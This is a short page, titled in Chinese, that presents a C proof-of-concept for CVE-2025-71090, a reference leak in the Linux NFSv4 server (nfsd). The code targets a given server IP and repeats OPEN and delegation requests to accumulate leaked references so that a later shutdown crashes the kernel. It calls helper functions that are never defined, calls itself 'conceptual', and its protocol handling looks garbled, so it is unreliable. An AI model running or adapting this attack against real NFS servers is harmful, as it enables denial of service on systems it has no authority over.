CVE-2025-71090: Linux内核nfsd模块nfsd_file引用泄漏漏洞

// CVE-2025-71090 PoC - nfsd_file Reference Leak // This PoC demonstrates the reference leak in nfsd4_add_rdaccess_to_wrdeleg() // Environment: Linux kernel with NFSv4 server enabled #include <stdio.h> #include <stdlib.h> #include <string.h> #include <rpc/rpc.h> #include <nfs/nfs.h> /* * Attack Scenario: * 1. Client establishes NFSv4 session with server * 2. Client opens a file with OPEN operation (SHARE_ACCESS_READ) * 3. Server grants delegation with READ access * 4. Client calls OPEN with OPEN4_SHARE_ACCESS_READ again * 5. This triggers nfsd4_add_rdaccess_to_wrdeleg() which overwrites * fp->fi_fds[O_RDONLY] without releasing existing reference * 6. Repeated operations cause reference count leak * 7. Server shutdown triggers BUG() in kmem_cache_destroy() */ // NFSv4 OPEN operation with READ share access void nfs4_open_with_read_share(int sock, char *filename) { // Construct NFSv4 OPEN compound request // Operation: OPEN with share_access = READ printf("[*] Sending NFSv4 OPEN with SHARE_ACCESS_READ\n"); // Simulate multiple OPEN operations to trigger leak for (int i = 0; i < 100; i++) { send_nfs4_open_request(sock, filename, OPEN4_SHARE_ACCESS_READ); recv_nfs4_response(sock); usleep(1000); } } // Request delegation with read access void nfs4_request_delegation(int sock, char *filename) { printf("[*] Requesting READ delegation\n"); // This triggers nfsd4_add_rdaccess_to_wrdeleg() send_nfs4_delegation_request(sock, filename, CLAIM_DELEGATE_CUR); recv_nfs4_response(sock); } int main(int argc, char *argv[]) { if (argc < 2) { fprintf(stderr, "Usage: %s <nfs_server_ip>\n", argv[0]); return 1; } char *server = argv[1]; int sock; printf("[*] CVE-2025-71090 PoC - nfsd_file reference leak\n"); printf("[*] Target: %s\n", server); // Connect to NFS server sock = nfs_connect(server, 2049); // Establish NFSv4 session nfs4_exchange_id(sock); nfs4_create_session(sock); // Step 1: Open file with READ share nfs4_open_with_read_share(sock, "/testfile.txt"); // Step 2: Request delegation (triggers vulnerability) nfs4_request_delegation(sock, "/testfile.txt"); // Step 3: Continue operations to accumulate leaks for (int round = 0; round < 10; round++) { nfs4_open_with_read_share(sock, "/testfile.txt"); nfs4_request_delegation(sock, "/testfile.txt"); } printf("[*] Leaked references accumulated\n"); printf("[*] Server shutdown will trigger BUG() in kmem_cache_destroy()\n"); nfs_disconnect(sock); return 0; } // Note: This is a conceptual PoC. Actual implementation requires // NFSv4 protocol library and proper RPC handling. // The vulnerability is triggered by: // 1. Having existing READ share access // 2. Then receiving delegation with READ access // 3. This causes nfsd4_add_rdaccess_to_wrdeleg() to overwrite // fp->fi_fds[O_RDONLY] without proper reference release